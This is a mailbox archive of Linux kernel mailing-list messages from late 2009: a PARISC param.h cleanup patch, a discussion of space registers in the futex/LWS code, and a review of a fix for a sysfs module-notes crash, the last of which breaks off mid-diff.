>
>   		if (sechdrs[i].sh_type == SHT_REL)
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-wireless" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Simplify param.h by including
 <asm-generic/param.h>
Date: Thu, 31 Dec 2009 15:43:55 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0912311543170.7139@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1262295056 27996 80.91.229.12 (31 Dec 2009 21:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Dec 2009 21:30:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 31 22:30:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQSbZ-0007L6-3a
	for glpp-linux-parisc@lo.gmane.org; Thu, 31 Dec 2009 22:30:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751336AbZLaVat (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 16:30:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751618AbZLaVat
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 16:30:49 -0500
Original-Received: from astoria.ccjclearline.com ([64.235.106.9]:52926 "EHLO
	astoria.ccjclearline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751336AbZLaVas (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 16:30:48 -0500
X-Greylist: delayed 2779 seconds by postgrey-1.27 at vger.kernel.org; Thu, 31 Dec 2009 16:30:48 EST
Original-Received: from cpe00142a336e11-cm001ac318e826.cpe.net.cable.rogers.com ([174.113.191.234] helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rpjday@crashcourse.ca>)
	id 1NQRsi-00053y-Vn
	for linux-parisc@vger.kernel.org; Thu, 31 Dec 2009 15:44:29 -0500
X-X-Sender: rpjday@localhost
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2533>


Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>

---

diff --git a/arch/parisc/include/asm/param.h b/arch/parisc/include/asm/param.h
index 32e03d8..965d454 100644
--- a/arch/parisc/include/asm/param.h
+++ b/arch/parisc/include/asm/param.h
@@ -1,22 +1 @@
-#ifndef _ASMPARISC_PARAM_H
-#define _ASMPARISC_PARAM_H
-
-#ifdef __KERNEL__
-#define HZ		CONFIG_HZ
-#define USER_HZ		100		/* some user API use "ticks" */
-#define CLOCKS_PER_SEC	(USER_HZ)	/* like times() */
-#endif
-
-#ifndef HZ
-#define HZ 100
-#endif
-
-#define EXEC_PAGESIZE	4096
-
-#ifndef NOGROUP
-#define NOGROUP		(-1)
-#endif
-
-#define MAXHOSTNAMELEN	64	/* max length of hostname */

From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 31 Dec 2009 17:38:31 -0500 (EST)
Lines: 80
Approved: news@gmane.org
Message-ID: <20091231223832.85D024EF1@hiauly1.hia.nrc.ca>
References: <119aab440912311014j276d8c29mc8d8b59c7c5cafd1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262299123 3432 80.91.229.12 (31 Dec 2009 22:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Dec 2009 22:38:43 +0000 (UTC)
Cc: deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 31 23:38:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQTf8-000206-Nm
	for glpp-linux-parisc@lo.gmane.org; Thu, 31 Dec 2009 23:38:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751642AbZLaWie (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 17:38:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751565AbZLaWie
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 17:38:34 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4178 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751418AbZLaWid (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 17:38:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 85D024EF1; Thu, 31 Dec 2009 17:38:32 -0500 (EST)
In-Reply-To: <119aab440912311014j276d8c29mc8d8b59c7c5cafd1@mail.gmail.com> from "Carlos O'Donell" at Dec 31, 2009 01:14:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2534
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2534>

> 
> On Tue, Dec 29, 2009 at 8:47 AM, Helge Deller <deller@gmx.de> wrote:
> >> 2) Change return space register to sr7. =A0sr3 is not set correctly
> >> if the entry number is invalid.
> >
> > Yep.
> >
> >> Have nasty suspicion that sr3 is getting hit...
> 
> Is the thought here that we take an interrupt, and sr3 is not
> guaranteed saved/restored, while sr7 is guaranteed?

sr3 isn't guaranteed because user could have changed its value.  So,
it is better to use sr7 for the return, particularly when lws entry
number isn't valid.

Regarding the handling of space registers during interruptions, they
are not saved.  syscall_exit_rfi restores them to proper values:

        /*
	 * If we aren't being traced, we never saved space registers
	 * (we don't store them in the sigcontext), so set them
	 * to "proper" values now (otherwise we'll wind up restoring
	 * whatever was last stored in the task structure, which might
	 * be inconsistent if an interrupt occured while on the gateway
	 * page). Note that we may be "trashing" values the user put in
	 * them, but we don't support the user changing them.
	*/

	STREG   %r0,PT_SR2(%r16)
	mfsp    %sr3,%r19
	STREG   %r19,PT_SR0(%r16)
	STREG   %r19,PT_SR1(%r16)
	STREG   %r19,PT_SR3(%r16)

As can be seen, sr2 set to the kernel space and sr3 to the user space.
This is consistent with the usage in the LWS code, so an interruption
shouldn't be a problem on most syscall returns via this path.  However,
execve doesn't restore the space register values (at least in this path).

The comment in the LWS code is a bit misleading:

        /* WARNING: Trashing sr2 and sr3 */
	mfsp    %sr7,%r1                        /* get userspace into sr3 */
	mtsp    %r1,%sr3
	mtsp    %r0,%sr2                        /* get kernel space into sr2 */

Actually, sr2 and sr3 are restored to their "proper" values.

The TLB code seems to assume a consistent use of sr3.  So, this may not
be a space register issue.

The syscall_restore uses a rsm/ssm pair to make the operation atomic.
Maybe we don't catch all situations where process is scheduled.

As an aside, it seems gdb doesn't print space registers correctly
when debugging a program.  I would guess this is because they are
not saved in the context.  It does print them from a core dump.

> I don't see anything wrong with moving the gate earlier (unless
> someone can come up with a case where an LWS may not want to gate).
> 
> It has the benefit of making the fast path 1 instruction shorter,
> however I don't see that it makes the implementation more correct.

I believe that it does have an effect.  See for example, the discussion
regarding delivery of signals to processes executing on the gateway page
in traps.c.  With the branch, it is possible that a signal could be
sent to a process executing on the gateway page.  See also space_check
macro in entry.S.  There's also the ptrace issue mentioned by Randolph.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 1 Jan 2010 00:36:12 +0000 (UTC)
Lines: 22
Approved: news@gmane.org
Message-ID: <20100101003559.E2F2F4EF1@hiauly1.hia.nrc.ca>
References: <20091231223832.85D024EF1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262306172 16055 80.91.229.12 (1 Jan 2010 00:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Jan 2010 00:36:12 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 01 01:36:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQVUp-0003j7-Mw
	for glpp-linux-parisc@lo.gmane.org; Fri, 01 Jan 2010 01:36:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751337Ab0AAAgD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 19:36:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751355Ab0AAAgD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 19:36:03 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4190 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751337Ab0AAAgC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 19:36:02 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E2F2F4EF1; Thu, 31 Dec 2009 19:35:59 -0500 (EST)
Original-Date: Thu, 31 Dec 2009 19:35:59 -74900 (EST)
In-Reply-To: <20091231223832.85D024EF1@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 31, 2009 05:38:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2535>

> Regarding the handling of space registers during interruptions, they
> are not saved.  syscall_exit_rfi restores them to proper values:

This is potentially an implementation bug, particularly with respect to
interruptions.   User space probably should have sr0-sr3 available to
do icache flushes, etc.  Currently, gcc uses sr0 for icache flushes.

It may be sr0 is never clobbered, but this isn't clear.  I'm fairly sure
HP-UX saves sr0-sr4 if necessary.

Possibly, the icache flush sequence should be changed for linux to not
use sr0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?Q?Am=C3=A9rico_Wang?= <xiyou.wangcong@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap,gmane.linux.ports.parisc
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Fri, 1 Jan 2010 11:08:01 +0800
Lines: 411
Approved: news@gmane.org
Message-ID: <2375c9f90912311908r667966e1m919430c40cd9c571@mail.gmail.com>
References: <87k4w4wux9.fsf@purkki.valot.fi>
	 <1262188157.2749.21.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262315312 30382 80.91.229.12 (1 Jan 2010 03:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Jan 2010 03:08:32 +0000 (UTC)
Cc: Kalle Valo <kalle.valo@iki.fi>, linux-kernel@vger.kernel.org,
	linux-wireless@vger.kernel.org, linux-omap@vger.kernel.org,
	Helge Deller <deller@gmx.de>, rusty@rustcorp.com.au,
	akpm@linux-foundation.org, roland@redhat.com,
	dave@hiauly1.hia.nrc.ca, Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1751896Ab0AADII@vger.kernel.org Fri Jan 01 04:08:22 2010
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1751896Ab0AADII@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQXsD-0001sV-PT
	for glk-linux-kernel-3@lo.gmane.org; Fri, 01 Jan 2010 04:08:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751896Ab0AADII convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 31 Dec 2009 22:08:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751753Ab0AADIG
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 31 Dec 2009 22:08:06 -0500
Original-Received: from qw-out-2122.google.com ([74.125.92.27]:37111 "EHLO
	qw-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751721Ab0AADID convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 31 Dec 2009 22:08:03 -0500
Original-Received: by qw-out-2122.google.com with SMTP id 8so1391660qwh.37
        for <multiple recipients>; Thu, 31 Dec 2009 19:08:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=comuiXNkxsXRTE1wXmqXimvQEurceeoUYgoAJHYMblI=;
        b=W+9rF3co2Z4Gg2GxNDr/Vli3ybTpVwSpZILV/8rVLzR+LEj/r784OdowFZIXV1KqMf
         wybOww4V/tGm9/lBofG7TsH7Gz+A+HSylHy+qnexTwG78e7P+frpEpgZ7u/aTBHuis+M
         q0QUWxPdsLuAjsp4ODHKgnel5cOfc98EtyHtc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=VSHy3QsDqTxC1xDKR8amSHvx+R4UWb6BF507YMKaxFSYrM1klMLk679LssYomN/m45
         EQo4H798ubJXJgECsCChQ7JIVgqXaKrWX2rJG4Cg0gFjo0mvAxUD2XNvofvZDrzv/0y1
         Y9AsbR3ti9Xx73QVRPYde1LC5gbinN8umAyVM=
Original-Received: by 10.229.20.206 with SMTP id g14mr3202345qcb.32.1262315282015; Thu, 
	31 Dec 2009 19:08:02 -0800 (PST)
In-Reply-To: <1262188157.2749.21.camel@mulgrave.site>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:933339 gmane.linux.kernel.wireless.general:45002 gmane.linux.ports.arm.omap:28966 gmane.linux.ports.parisc:2536
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2536>

On Wed, Dec 30, 2009 at 11:49 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Wed, 2009-12-30 at 13:41 +0200, Kalle Valo wrote:
>> Hello,
>>
>> I noticed weird crashes related to wl1251_spi notes sysfs directory
>> with current wireless-testing (2.6.33-rc2 plus some wireless patches=
).
>> The simplest way to reproduce the problem is to do this on a nokia n=
900
>> (arm/omap 3430):
>>
>> # ls /sys/module/wl1251_spi/notes/
>> [ 4776.503234] Unable to handle kernel NULL pointer dereference at
>> virtual address 00000000
>> [ 4776.511596] pgd =3D cce88000
>> [ 4776.514343] [00000000] *pgd=3D8f04a031, *pte=3D00000000, *ppte=3D=
00000000
>> [ 4776.520812] Internal error: Oops: 17 [#1]
>> [ 4776.524871] last sysfs file: /sys/class/net/wlan0/flags
>> [ 4776.530151] Modules linked in: wl1251_spi wl1251 mac80211 cfg8021=
1
>> [ 4776.536468] CPU: 0 =C2=A0 =C2=A0Not tainted =C2=A0(2.6.33-rc2-wl-=
47091-g981eb84
>> #12)
>> [ 4776.542999] PC is at strlen+0xc/0x20
>> [ 4776.546630] LR is at sysfs_readdir+0x15c/0x1e0
>> [ 4776.551116] pc : [<c01476ac>] =C2=A0 =C2=A0lr : [<c00f5e6c>] =C2=A0=
 =C2=A0psr: a0000013
>> [ 4776.551147] sp : cce87f28 =C2=A0ip : 22222222 =C2=A0fp : be99961c
>> [ 4776.562744] r10: cce87f80 =C2=A0r9 : 00000000 =C2=A0r8 : 00000000
>> [ 4776.568023] r7 : c00b9540 =C2=A0r6 : cce87f80 =C2=A0r5 : ccec4458=
 =C2=A0r4 :
>> ce808980
>> [ 4776.574615] r3 : 00000000 =C2=A0r2 : 00000002 =C2=A0r1 : 22222222=
 =C2=A0r0 :
>> 00000000
>> [ 4776.581207] Flags: NzCv =C2=A0IRQs on =C2=A0FIQs on =C2=A0Mode SV=
C_32 =C2=A0ISA ARM
>> Segment user
>> [ 4776.588409] Control: 10c5387d =C2=A0Table: 8ce88019 =C2=A0DAC: 00=
000015
>> [ 4776.594238] Process ls (pid: 1148, stack limit =3D 0xcce862e8)
>> [ 4776.599945] Stack: (0xcce87f28 to 0xcce88000)
>> [ 4776.604370] 7f20: =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 00000001 00000000 00000e16
>> 00000000 00000004 22222222
>> [ 4776.612640] 7f40: ce808980 ce808980 cf79e34c c00b9540 00000000
>> cf79e2b8 cce86000 c00b982c
>> [ 4776.620910] 7f60: 00000001 00000000 00001000 000690d0 ce808980
>> c002bae4 00000000 c00b98c4
>> [ 4776.629180] 7f80: 00069100 000690e8 00000fd0 ffffffea 00000000
>> 00000000 00000000 00000000
>> [ 4776.637451] 7fa0: 000000d9 c002b940 00000000 00000000 00000003
>> 000690d0 00001000 00000000
>> [ 4776.645721] 7fc0: 00000000 00000000 00000000 000000d9 000690c8
>> 00000001 00000000 be99961c
>> [ 4776.654022] 7fe0: 400ef954 be999614 400efa10 400ef908 60000010
>> 00000003 80c69021 80c69421
>> [ 4776.662292] [<c01476ac>] (strlen+0xc/0x20) from [<c00f5e6c>]
>> (sysfs_readdir+0x15c/0x1e0)
>> [ 4776.670501] [<c00f5e6c>] (sysfs_readdir+0x15c/0x1e0) from
>> [<c00b982c>] (vfs_readdir+0x80/0xb4)
>> [ 4776.679229] [<c00b982c>] (vfs_readdir+0x80/0xb4) from [<c00b98c4>=
]
>> (sys_getdents64+0x64/0xb4)
>> [ 4776.687866] [<c00b98c4>] (sys_getdents64+0x64/0xb4) from
>> [<c002b940>] (ret_fast_syscall+0x0/0x38)
>> [ 4776.696838] Code: c027700c e1a03000 ea000000 e2833001 (e5d32000)
>> [ 4776.703063] ---[ end trace 6a3b0fdf4e9def99 ]---
>> [ 4776.707794] Kernel panic - not syncing: Fatal exception
>
>> Also removing wl1251_spi causes a crash. The reason for this is that=
 a
>> sysfs file with a null string as name is trying to be removed from t=
he
>> notes directory.
>
> Yes, this is because the notes sections describe the text sections.
> When we ignore an empty text section, we'd need to ignore its
> corresponding notes section.
>
> The reason we didn't see this on parisc is because our compiler doesn=
't
> actually produce any notes sections.
>
>> I found out that reverting this patch solves the problem:
>>
>> =C2=A0 commit 35dead4235e2b67da7275b4122fed37099c2f462
>> =C2=A0 Author: Helge Deller <deller@gmx.de>
>> =C2=A0 Date: =C2=A0 Thu Dec 3 00:29:15 2009 +0100
>>
>> =C2=A0 =C2=A0 modules: don't export section names of empty sections =
via sysfs
>>
>> =C2=A0 =C2=A0 On the parisc architecture we face for each and every =
loaded
>> =C2=A0 =C2=A0 kernel module this kernel "badness warning":
>>
>> =C2=A0 =C2=A0 =C2=A0 sysfs: cannot create duplicate filename
>> =C2=A0 =C2=A0 '/module/ac97_bus/sections/.text'
>> =C2=A0 =C2=A0 =C2=A0 Badness at fs/sysfs/dir.c:487
>>
>> =C2=A0 =C2=A0 Reason for that is, that on parisc all kernel modules =
do have
>> =C2=A0 =C2=A0 multiple .text sections due to the usage of the
>> =C2=A0 =C2=A0 -ffunction-sections compiler flag which is needed to r=
each all
>> =C2=A0 =C2=A0 jump targets on this platform.
>>
>> =C2=A0 =C2=A0 An objdump on such a kernel module gives:
>> =C2=A0 =C2=A0 Sections:
>> =C2=A0 =C2=A0 Idx Name =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0Size =C2=A0=
 =C2=A0 =C2=A0VMA =C2=A0 =C2=A0 =C2=A0 LMA =C2=A0 =C2=A0 =C2=A0 File of=
f =C2=A0Algn
>> =C2=A0 =C2=A0 =C2=A0 0 .note.gnu.build-id 00000024 =C2=A000000000 =C2=
=A000000000 =C2=A000000034
>> =C2=A0 =C2=A0 2**2
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 CONTENTS, ALLOC, LOAD, READONLY, DATA
>> =C2=A0 =C2=A0 =C2=A0 1 .text =C2=A0 =C2=A0 =C2=A0 =C2=A0 00000000 =C2=
=A000000000 =C2=A000000000 =C2=A000000058 =C2=A02**0
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 CONTENTS, ALLOC, LOAD, READONLY, CODE
>> =C2=A0 =C2=A0 =C2=A0 2 .text.ac97_bus_match 0000001c =C2=A000000000 =
=C2=A000000000 =C2=A000000058
>> =C2=A0 =C2=A0 2**2
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 CONTENTS, ALLOC, LOAD, READONLY, CODE
>> =C2=A0 =C2=A0 =C2=A0 3 .text =C2=A0 =C2=A0 =C2=A0 =C2=A0 00000000 =C2=
=A000000000 =C2=A000000000 =C2=A0000000d4 =C2=A02**0
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 CONTENTS, ALLOC, LOAD, READONLY, CODE
>> =C2=A0 =C2=A0 ...
>> =C2=A0 =C2=A0 Since the .text sections are empty (size of 0 bytes) a=
nd won't be
>> =C2=A0 =C2=A0 loaded by the kernel module loader anyway, I don't see=
 a reason
>> =C2=A0 =C2=A0 why such sections need to be listed under
>> =C2=A0 =C2=A0 /sys/module/<module_name>/sections/<section_name> eith=
er.
>>
>> =C2=A0 =C2=A0 The attached patch does solve this issue by not export=
ing section
>> =C2=A0 =C2=A0 names which are empty.
>>
>> =C2=A0 =C2=A0 This fixes bugzilla
>> =C2=A0 =C2=A0 http://bugzilla.kernel.org/show_bug.cgi?id=3D14703
>>
>> =C2=A0 =C2=A0 Signed-off-by: Helge Deller <deller@gmx.de>
>> =C2=A0 =C2=A0 CC: rusty@rustcorp.com.au
>> =C2=A0 =C2=A0 CC: akpm@linux-foundation.org
>> =C2=A0 =C2=A0 CC: James.Bottomley@HansenPartnership.com
>> =C2=A0 =C2=A0 CC: roland@redhat.com
>> =C2=A0 =C2=A0 CC: dave@hiauly1.hia.nrc.ca
>> =C2=A0 =C2=A0 Signed-off-by: Linus Torvalds <torvalds@linux-foundati=
on.org>
>>
>> I was also able to reproduce the problem with vanilla 2.6.32. I'm
>> pretty sure (but haven't tested) that 2.6.32-rc8 does not have this
>> problem.
>>
>> My original mail containing more info:
>>
>> http://www.spinics.net/lists/linux-wireless/msg44863.html
>>
>> Simple bandaid patch below fixes the problem. I know it's not a prop=
er
>> solution, but hopefully makes it easier to understand the problem.
>> Unfortunately my knowledge about ELF is too limited to fix this
>> properly, but I can provide more information as needed. Or even try =
to
>> fix it myself if someone else holds my hand :)
>>
>> --- a/kernel/module.c
>> +++ b/kernel/module.c
>> @@ -1189,10 +1189,13 @@ static void add_notes_attrs(struct module
>> *mod, unsigned int nsect,
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!notes_attrs->dir)
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 goto out;
>>
>> - =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; i < notes; ++i)
>> + =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; i < notes; ++i) {
>> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (WARN_ON(!note=
s_attrs->attrs[i].attr.name))
>> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 continue;
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (sysfs_cr=
eate_bin_file(notes_attrs->dir,
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 &notes_attrs->attrs[i]))
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 goto out;
>> + =C2=A0 =C2=A0 =C2=A0 }
>>
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 mod->notes_attrs =3D notes_attrs;
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0 return;
>
> A better, and more comprehensive patch would be to try not to count t=
he
> empty text sections when we're building the notes section (and actual=
ly
> anywhere else in the file). =C2=A0This patch actually relies on the f=
act that
> if sh_size is zero for the text section it should be for the
> corresponding notes section. =C2=A0If that doesn't work, we'd actuall=
y have
> to do the matching in the construction piece.
>
> Can you try it to see if it works for you? =C2=A0If it doesn't, I'll =
try
> matching notes to text. =C2=A0It works fine on parisc, but as we don'=
t have a
> notes section, that's not saying much ...
>
> Thanks,
>
> James
>


This patch looks fine for me, except that I don't think it's necessary
to introduce an inline function for that...

Reviewed-by: WANG Cong <xiyou.wangcong@gmail.com>

Thanks!

> ---
>
> diff --git a/kernel/module.c b/kernel/module.c
> index e96b8ed..957f912 100644
> --- a/kernel/module.c
> +++ b/kernel/module.c
> @@ -132,6 +132,11 @@ void __module_put_and_exit(struct module *mod, l=
ong code)
> =C2=A0}
> =C2=A0EXPORT_SYMBOL(__module_put_and_exit);
